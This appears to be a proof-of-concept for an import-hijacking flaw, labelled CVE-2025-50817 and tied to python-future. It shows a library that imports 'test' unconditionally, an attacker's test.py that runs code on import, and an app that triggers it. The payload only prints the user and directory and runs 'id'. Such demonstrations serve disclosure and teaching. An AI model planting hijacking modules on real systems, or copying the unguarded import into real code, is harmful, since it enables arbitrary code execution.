Vulnerable code sample

# In a real-world scenario, this code would be part of the
# python-future library's source, for example in its __init__.py

# This code block represents the vulnerable library module.
# Save this file as: vulnerable_library.py

import sys

print("[INFO] Loading the vulnerable library...")

# The vulnerable part of the code.
# It unconditionally imports a module named 'test'.
# Python will search for 'test.py' in the current directory first,
# and then in the paths listed in sys.path.
try:
    import test
    print("[INFO] The 'test' module was found and imported.")
except ImportError:
    # This is the expected path in a non-exploited scenario.
    print("[INFO] Optional 'test' module not found. Continuing.")
    pass

def some_useful_function():
    """
    A placeholder for the library's actual functionality.
    """
    return "This is the library's legitimate output."

# ---

# This code block represents the malicious file an attacker would create.
# To exploit the vulnerability, this file must be present in the same
# directory as the script that imports 'vulnerable_library', or in a
# directory included in Python's sys.path.
# Save this file as: test.py

import os
import subprocess

print("\n" + "="*60)
print("!!! PWNED: ARBITRARY CODE EXECUTION VIA CVE-2025-50817 !!!")
print("!!! The content of this file (test.py) is being executed. !!!")
print("="*60)
print(f"Current User: {os.environ.get('USER', 'N/A')}")
print(f"Current Directory: {os.getcwd()}")
print("Executing 'id' command as a proof of concept:")
subprocess.run(["id"])
print("="*60 + "\n")


# ---

# This code block represents a normal application that uses the library.
# Running this script will trigger the vulnerability if test.py exists.
# Save this file as: main_app.py

print("Starting the main application.")

# The application developer intends to use the library for its features.
# However, this import statement is the trigger for the exploit.
import vulnerable_library

print("The application is now using a function from the library.")
result = vulnerable_library.some_useful_function()
print(f"Library function returned: '{result}'")

print("Main application finished.")